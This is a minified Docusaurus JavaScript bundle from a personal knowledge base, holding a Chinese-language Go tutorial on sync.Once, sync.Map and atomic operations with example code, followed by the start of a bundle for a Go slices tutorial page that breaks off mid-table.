\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e2a\u9488\u5bf9\u53ea\u6267\u884c\u4e00\u6b21\u573a\u666f\u7684\u89e3\u51b3\u65b9\u6848\u2014\u2014",(0,i.jsx)(e.code,{children:"sync.Once"}),"\uff0c",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u53ea\u6709\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"Do"}),"\u65b9\u6cd5\uff0c\u5176\u7b7e\u540d\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func (o *Once) Do(f func())\n"})}),"\n",(0,i.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u5982\u679c\u8981\u6267\u884c\u7684\u51fd\u6570",(0,i.jsx)(e.code,{children:"f"}),"\u9700\u8981\u4f20\u9012\u53c2\u6570\u5c31\u9700\u8981\u642d\u914d\u95ed\u5305\u6765\u4f7f\u7528\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",children:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u5ef6\u8fdf\u4e00\u4e2a\u5f00\u9500\u5f88\u5927\u7684\u521d\u59cb\u5316\u64cd\u4f5c\u5230\u771f\u6b63\u7528\u5230\u5b83\u7684\u65f6\u5019\u518d\u6267\u884c\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5b9e\u8df5\u3002\u56e0\u4e3a\u9884\u5148\u521d\u59cb\u5316\u4e00\u4e2a\u53d8\u91cf\uff08\u6bd4\u5982\u5728init\u51fd\u6570\u4e2d\u5b8c\u6210\u521d\u59cb\u5316\uff09\u4f1a\u589e\u52a0\u7a0b\u5e8f\u7684\u542f\u52a8\u8017\u65f6\uff0c\u800c\u4e14\u6709\u53ef\u80fd\u5b9e\u9645\u6267\u884c\u8fc7\u7a0b\u4e2d\u8fd9\u4e2a\u53d8\u91cf\u6ca1\u6709\u7528\u4e0a\uff0c\u90a3\u4e48\u8fd9\u4e2a\u521d\u59cb\u5316\u64cd\u4f5c\u5c31\u4e0d\u662f\u5fc5\u987b\u8981\u505a\u7684\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var icons map[string]image.Image\n\nfunc loadIcons() {\n\ticons = map[string]image.Image{\n\t\t"left": loadIcon("left.png"),\n\t\t"up": loadIcon("up.png"),\n\t\t"right": loadIcon("right.png"),\n\t\t"down": loadIcon("down.png"),\n\t}\n}\n\n// Icon \u88ab\u591a\u4e2agoroutine\u8c03\u7528\u65f6\u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\nfunc Icon(name string) image.Image {\n\tif icons == nil {\n\t\tloadIcons()\n\t}\n\treturn icons[name]\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u591a\u4e2a goroutine \u5e76\u53d1\u8c03\u7528Icon\u51fd\u6570\u65f6\u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\uff0c\u73b0\u4ee3\u7684\u7f16\u8bd1\u5668\u548cCPU\u53ef\u80fd\u4f1a\u5728\u4fdd\u8bc1\u6bcf\u4e2a goroutine \u90fd\u6ee1\u8db3\u4e32\u884c\u4e00\u81f4\u7684\u57fa\u7840\u4e0a\u81ea\u7531\u5730\u91cd\u6392\u8bbf\u95ee\u5185\u5b58\u7684\u987a\u5e8f\u3002loadIcons\u51fd\u6570\u53ef\u80fd\u4f1a\u88ab\u91cd\u6392\u4e3a\u4ee5\u4e0b\u7ed3\u679c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func loadIcons() {\n\ticons = make(map[string]image.Image)\n\ticons["left"] = loadIcon("left.png")\n\ticons["up"] = loadIcon("up.png")\n\ticons["right"] = loadIcon("right.png")\n\ticons["down"] = loadIcon("down.png")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u4f1a\u51fa\u73b0\u5373\u4f7f\u5224\u65ad\u4e86",(0,i.jsx)(e.code,{children:"icons"}),"\u4e0d\u662fnil\u4e5f\u4e0d\u610f\u5473\u7740\u53d8\u91cf\u521d\u59cb\u5316\u5b8c\u6210\u4e86\u3002\u8003\u8651\u5230\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u80fd\u60f3\u5230\u7684\u529e\u6cd5\u5c31\u662f\u6dfb\u52a0\u4e92\u65a5\u9501\uff0c\u4fdd\u8bc1\u521d\u59cb\u5316",(0,i.jsx)(e.code,{children:"icons"}),"\u7684\u65f6\u5019\u4e0d\u4f1a\u88ab\u5176\u4ed6\u7684 goroutine \u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u6837\u505a\u53c8\u4f1a\u5f15\u53d1\u6027\u80fd\u95ee\u9898\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u6539\u9020\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var icons map[string]image.Image\n\nvar loadIconsOnce sync.Once\n\nfunc loadIcons() {\n\ticons = map[string]image.Image{\n\t\t"left": loadIcon("left.png"),\n\t\t"up": loadIcon("up.png"),\n\t\t"right": loadIcon("right.png"),\n\t\t"down": loadIcon("down.png"),\n\t}\n}\n\n// Icon \u662f\u5e76\u53d1\u5b89\u5168\u7684\nfunc Icon(name string) image.Image {\n\tloadIconsOnce.Do(loadIcons)\n\treturn icons[name]\n}\n'})}),"\n",(0,i.jsx)(e.h4,{id:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",children:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u662f\u501f\u52a9",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u5b9e\u73b0\u7684\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package singleton\n\nimport (\n "sync"\n)\n\ntype singleton struct {}\n\nvar instance *singleton\nvar once sync.Once\n\nfunc GetInstance() *singleton {\n once.Do(func() {\n instance = &singleton{}\n })\n return instance\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.Once"}),"\u5176\u5b9e\u5185\u90e8\u5305\u542b\u4e00\u4e2a\u4e92\u65a5\u9501\u548c\u4e00\u4e2a\u5e03\u5c14\u503c\uff0c\u4e92\u65a5\u9501\u4fdd\u8bc1\u5e03\u5c14\u503c\u548c\u6570\u636e\u7684\u5b89\u5168\uff0c\u800c\u5e03\u5c14\u503c\u7528\u6765\u8bb0\u5f55\u521d\u59cb\u5316\u662f\u5426\u5b8c\u6210\u3002\u8fd9\u6837\u8bbe\u8ba1\u5c31\u80fd\u4fdd\u8bc1\u521d\u59cb\u5316\u64cd\u4f5c\u7684\u65f6\u5019\u662f\u5e76\u53d1\u5b89\u5168\u7684\u5e76\u4e14\u521d\u59cb\u5316\u64cd\u4f5c\u4e5f\u4e0d\u4f1a\u88ab\u6267\u884c\u591a\u6b21\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"syncmap",children:"sync.Map"}),"\n",(0,i.jsx)(e.p,{children:"Go \u8bed\u8a00\u4e2d\u5185\u7f6e\u7684 map \u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\uff0c\u8bf7\u770b\u4e0b\u9762\u8fd9\u6bb5\u793a\u4f8b\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"strconv"\n\t"sync"\n)\n\nvar m = make(map[string]int)\n\nfunc get(key string) int {\n\treturn m[key]\n}\n\nfunc set(key string, value int) {\n\tm[key] = value\n}\n\nfunc main() {\n\twg := sync.WaitGroup{}\n\tfor i := 0; i < 10; i++ {\n\t\twg.Add(1)\n\t\tgo func(n int) {\n\t\t\tkey := strconv.Itoa(n)\n\t\t\tset(key, n)\n\t\t\tfmt.Printf("k=:%v,v:=%v\\n", key, get(key))\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u4f1a\u62a5\u51fa",(0,i.jsx)(e.code,{children:"fatal error: concurrent map writes"}),"\u9519\u8bef\u3002\u6211\u4eec\u4e0d\u80fd\u5728\u591a\u4e2a goroutine \u4e2d\u5e76\u53d1\u5bf9\u5185\u7f6e\u7684 map \u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c\uff0c\u5426\u5219\u4f1a\u5b58\u5728\u6570\u636e\u7ade\u4e89\u95ee\u9898\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u50cf\u8fd9\u79cd\u573a\u666f\u4e0b\u5c31\u9700\u8981\u4e3a map \u52a0\u9501\u6765\u4fdd\u8bc1\u5e76\u53d1\u7684\u5b89\u5168\u6027\u4e86\uff0cGo\u8bed\u8a00\u7684",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5f00\u7bb1\u5373\u7528\u7684\u5e76\u53d1\u5b89\u5168\u7248 map\u2014\u2014",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u3002\u5f00\u7bb1\u5373\u7528\u8868\u793a\u5176\u4e0d\u7528\u50cf\u5185\u7f6e\u7684 map \u4e00\u6837\u4f7f\u7528 make \u51fd\u6570\u521d\u59cb\u5316\u5c31\u80fd\u76f4\u63a5\u4f7f\u7528\u3002\u540c\u65f6",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u5185\u7f6e\u4e86\u8bf8\u5982",(0,i.jsx)(e.code,{children:"Store"}),"\u3001",(0,i.jsx)(e.code,{children:"Load"}),"\u3001",(0,i.jsx)(e.code,{children:"LoadOrStore"}),"\u3001",(0,i.jsx)(e.code,{children:"Delete"}),"\u3001",(0,i.jsx)(e.code,{children:"Range"}),"\u7b49\u64cd\u4f5c\u65b9\u6cd5\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Store(key, value interface{})"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5b58\u50a8key-value\u6570\u636e"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Load(key interface{}) (value interface{}, ok bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2key\u5bf9\u5e94\u7684value"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) LoadOrStore(key, value interface{}) (actual interface{}, loaded bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2\u6216\u5b58\u50a8key\u5bf9\u5e94\u7684value"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) LoadAndDelete(key interface{}) (value interface{}, loaded bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2\u5e76\u5220\u9664key"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Delete(key interface{})"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5220\u9664key"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Range(f func(key, value interface{}) bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bf9map\u4e2d\u7684\u6bcf\u4e2akey-value\u4f9d\u6b21\u8c03\u7528f"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u6f14\u793a\u4e86\u5e76\u53d1\u8bfb\u5199",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"strconv"\n\t"sync"\n)\n\n// \u5e76\u53d1\u5b89\u5168\u7684map\nvar m = sync.Map{}\n\nfunc main() {\n\twg := sync.WaitGroup{}\n\t// \u5bf9m\u6267\u884c20\u4e2a\u5e76\u53d1\u7684\u8bfb\u5199\u64cd\u4f5c\n\tfor i := 0; i < 20; i++ {\n\t\twg.Add(1)\n\t\tgo func(n int) {\n\t\t\tkey := strconv.Itoa(n)\n\t\t\tm.Store(key, n) // \u5b58\u50a8key-value\n\t\t\tvalue, _ := m.Load(key) // \u6839\u636ekey\u53d6\u503c\n\t\t\tfmt.Printf("k=:%v,v:=%v\\n", key, value)\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u539f\u5b50\u64cd\u4f5c",children:"\u539f\u5b50\u64cd\u4f5c"}),"\n",(0,i.jsxs)(e.p,{children:["\u9488\u5bf9\u6574\u6570\u6570\u636e\u7c7b\u578b\uff08int32\u3001uint32\u3001int64\u3001uint64\uff09\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528\u539f\u5b50\u64cd\u4f5c\u6765\u4fdd\u8bc1\u5e76\u53d1\u5b89\u5168\uff0c\u901a\u5e38\u76f4\u63a5\u4f7f\u7528\u539f\u5b50\u64cd\u4f5c\u6bd4\u4f7f\u7528\u9501\u64cd\u4f5c\u6548\u7387\u66f4\u9ad8\u3002Go\u8bed\u8a00\u4e2d\u539f\u5b50\u64cd\u4f5c\u7531\u5185\u7f6e\u7684\u6807\u51c6\u5e93",(0,i.jsx)(e.code,{children:"sync/atomic"}),"\u63d0\u4f9b\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"atomic\u5305",children:"atomic\u5305"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u89e3\u91ca"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func LoadInt32(addr *int32) (val int32) func LoadInt64(addr *int64) (val int64) func LoadUint32(addr *uint32) (val uint32) func LoadUint64(addr *uint64) (val uint64) func LoadUintptr(addr *uintptr) (val uintptr) func LoadPointer(addr *unsafe.Pointer) (val unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8bfb\u53d6\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func StoreInt32(addr *int32, val int32) func StoreInt64(addr *int64, val int64) func StoreUint32(addr *uint32, val uint32) func StoreUint64(addr *uint64, val uint64) func StoreUintptr(addr *uintptr, val uintptr) func StorePointer(addr *unsafe.Pointer, val unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5199\u5165\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func AddInt32(addr *int32, delta int32) (new int32) func AddInt64(addr *int64, delta int64) (new int64) func AddUint32(addr *uint32, delta uint32) (new uint32) func AddUint64(addr *uint64, delta uint64) (new uint64) func AddUintptr(addr *uintptr, delta uintptr) (new uintptr)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u4fee\u6539\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func SwapInt32(addr *int32, new int32) (old int32) func SwapInt64(addr *int64, new int64) (old int64) func SwapUint32(addr *uint32, new uint32) (old uint32) func SwapUint64(addr *uint64, new uint64) (old uint64) func SwapUintptr(addr *uintptr, new uintptr) (old uintptr) func SwapPointer(addr *unsafe.Pointer, new unsafe.Pointer) (old unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u4ea4\u6362\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func CompareAndSwapInt32(addr *int32, old, new int32) (swapped bool) func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) func CompareAndSwapUint32(addr *uint32, old, new uint32) (swapped bool) func CompareAndSwapUint64(addr *uint64, old, new uint64) (swapped bool) func CompareAndSwapUintptr(addr *uintptr, old, new uintptr) (swapped bool) func CompareAndSwapPointer(addr *unsafe.Pointer, old, new unsafe.Pointer) (swapped bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bd4\u8f83\u5e76\u4ea4\u6362\u64cd\u4f5c"})]})]})]}),"\n",(0,i.jsx)(e.h3,{id:"\u793a\u4f8b",children:"\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u586b\u5199\u4e00\u4e2a\u793a\u4f8b\u6765\u6bd4\u8f83\u4e0b\u4e92\u65a5\u9501\u548c\u539f\u5b50\u64cd\u4f5c\u7684\u6027\u80fd\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n\t"sync/atomic"\n\t"time"\n)\n\ntype Counter interface {\n\tInc()\n\tLoad() int64\n}\n\n// \u666e\u901a\u7248\ntype CommonCounter struct {\n\tcounter int64\n}\n\nfunc (c CommonCounter) Inc() {\n\tc.counter++\n}\n\nfunc (c CommonCounter) Load() int64 {\n\treturn c.counter\n}\n\n// \u4e92\u65a5\u9501\u7248\ntype MutexCounter struct {\n\tcounter int64\n\tlock sync.Mutex\n}\n\nfunc (m *MutexCounter) Inc() {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\tm.counter++\n}\n\nfunc (m *MutexCounter) Load() int64 {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\treturn m.counter\n}\n\n// \u539f\u5b50\u64cd\u4f5c\u7248\ntype AtomicCounter struct {\n\tcounter int64\n}\n\nfunc (a *AtomicCounter) Inc() {\n\tatomic.AddInt64(&a.counter, 1)\n}\n\nfunc (a *AtomicCounter) Load() int64 {\n\treturn atomic.LoadInt64(&a.counter)\n}\n\nfunc test(c Counter) {\n\tvar wg sync.WaitGroup\n\tstart := time.Now()\n\tfor i := 0; i < 1000; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tc.Inc()\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n\tend := time.Now()\n\tfmt.Println(c.Load(), end.Sub(start))\n}\n\nfunc main() {\n\tc1 := CommonCounter{} // \u975e\u5e76\u53d1\u5b89\u5168\n\ttest(c1)\n\tc2 := MutexCounter{} // \u4f7f\u7528\u4e92\u65a5\u9501\u5b9e\u73b0\u5e76\u53d1\u5b89\u5168\n\ttest(&c2)\n\tc3 := AtomicCounter{} // \u5e76\u53d1\u5b89\u5168\u4e14\u6bd4\u4e92\u65a5\u9501\u6548\u7387\u66f4\u9ad8\n\ttest(&c3)\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"atomic"}),"\u5305\u63d0\u4f9b\u4e86\u5e95\u5c42\u7684\u539f\u5b50\u7ea7\u5185\u5b58\u64cd\u4f5c\uff0c\u5bf9\u4e8e\u540c\u6b65\u7b97\u6cd5\u7684\u5b9e\u73b0\u5f88\u6709\u7528\u3002\u8fd9\u4e9b\u51fd\u6570\u5fc5\u987b\u8c28\u614e\u5730\u4fdd\u8bc1\u6b63\u786e\u4f7f\u7528\u3002\u9664\u4e86\u67d0\u4e9b\u7279\u6b8a\u7684\u5e95\u5c42\u5e94\u7528\uff0c\u4f7f\u7528\u901a\u9053\u6216\u8005 sync \u5305\u7684\u51fd\u6570/\u7c7b\u578b\u5b9e\u73b0\u540c\u6b65\u66f4\u597d\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/6ac37146.8ce9054d.js b/en/assets/js/6ac37146.8ce9054d.js new file mode 100644 index 0000000..0cdf49c --- /dev/null +++ b/en/assets/js/6ac37146.8ce9054d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9152],{890:(n,e,c)=>{c.d(e,{A:()=>l});const l=c.p+"assets/images/slice_01-09920412e708d7e10aee419407053295.png"},22001:(n,e,c)=>{c.d(e,{A:()=>l});const l=c.p+"assets/images/slice_02-c8192ffbe0ef02f5e1b7709d9e9ee2ac.png"},28453:(n,e,c)=>{c.d(e,{R:()=>a,x:()=>d});var l=c(96540);const s={},i=l.createContext(s);function a(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:a(n.components),l.createElement(i.Provider,{value:e},n.children)}},35951:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>r,contentTitle:()=>d,default:()=>o,frontMatter:()=>a,metadata:()=>l,toc:()=>t});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/07.GoLang-\u5207\u7247.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/07.GoLang-\u5207\u7247.md","tags":[],"version":"current","sidebarPosition":7,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488"}}');var s=c(74848),i=c(28453);const a={},d="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247",r={},t=[{value:"\u5207\u7247\u7684\u5b9a\u4e49",id:"\u5207\u7247\u7684\u5b9a\u4e49",level:2},{value:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",id:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",level:3},{value:"\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u5207\u7247\u8868\u8fbe\u5f0f",level:3},{value:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",level:4},{value:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",level:4},{value:"\u4f7f\u7528make()\u51fd\u6570\u6784\u9020\u5207\u7247",id:"\u4f7f\u7528make\u51fd\u6570\u6784\u9020\u5207\u7247",level:3},{value:"\u5207\u7247\u7684\u672c\u8d28",id:"\u5207\u7247\u7684\u672c\u8d28",level:3},{value:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",id:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",level:3},{value:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",id:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",level:2},{value:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",id:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",level:2},{value:"\u5207\u7247\u904d\u5386",id:"\u5207\u7247\u904d\u5386",level:2},{value:"append()\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",id:"append\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",level:2},{value:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",id:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",level:2},{value:"\u4f7f\u7528copy()\u51fd\u6570\u590d\u5236\u5207\u7247",id:"\u4f7f\u7528copy\u51fd\u6570\u590d\u5236\u5207\u7247",level:2},{value:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",id:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",level:2}];function h(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 